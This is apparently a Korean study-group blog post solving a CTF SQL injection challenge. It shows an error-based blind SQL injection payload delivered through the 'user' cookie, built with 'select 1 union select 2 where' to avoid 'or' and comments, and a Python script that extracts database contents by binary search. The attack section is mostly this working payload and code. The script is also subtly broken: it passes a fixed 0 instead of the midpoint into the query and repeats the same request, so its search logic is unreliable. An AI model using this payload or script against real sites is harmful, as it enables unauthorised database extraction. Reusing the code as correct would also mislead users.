본문 바로가기

웹 모의해킹 스터디/과제

[SQL Injection] CTF - SQL Injection Point 4 문제풀이

 

기억하자. SQL Injection에서는 참/거짓에 따라 달라지는 응답을 확인해야함을.

+

select 문만 사용

or 사용 금지

주석 사용 금지


 

마이페이지 쿠키 user에 id가 담겨있는 것을 확인

 

 

참인 쿼리를 날렸을 때 결과와

 

거짓인 쿼리를 날렸을 때 결과가 동일

 

 

이럴 땐 db 에러를 유발해보고 에러가 출력되는지 확인

 

 

db 에러가 출력되므로 조건이 참일 때 db 에러를 유발시켜 참/거짓의 결과가 다르게 나오도록 하자

 

qwe' and (select 1 union select 2 where(1=1)) and '1'='1 를 이용해서

1=1 부분에 쿼리를 입력해서 참이면 select 1 union select 2로 구조체가 응답되게 하여 db에러를 유발하고,

거짓이면 select 1이 응답되어 결과가 기존과 동일하게 나오도록 함

 

 

자동화 코드

import requests
import urllib.parse

url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"

def blind_sqli() : # 쿼리 작성용 함수, 데이터까지 구했으면 ctrl+c
    while True :
        query = input("SQL문 입력> ")
        index_value = "DB" #참 거짓 식별
        value = binarySearch(query,index_value)
        print(value + "\n")


def binarySearch(query, index_value) :
    x = 1 #1번째 자리부터 찾기

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = (start + end ) // 2
        
        cookie = {'user' : '' + blind_query.format(query, x,0),
           'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''
          }

        response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기

        if index_value not in response.text : #0보다 작다면 NULL값이므로 종료한다
            break
        else :
            cookie = {'user' : '' + blind_query.format(query, x,0),
           'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''
          }

            response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기

            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                x+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화

    return value


blind_query = "' and (select 1 union select 2 where ascii(substr(({}),{},1))>{}) and '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli() #blind_query 시작

 

 

 

추출 완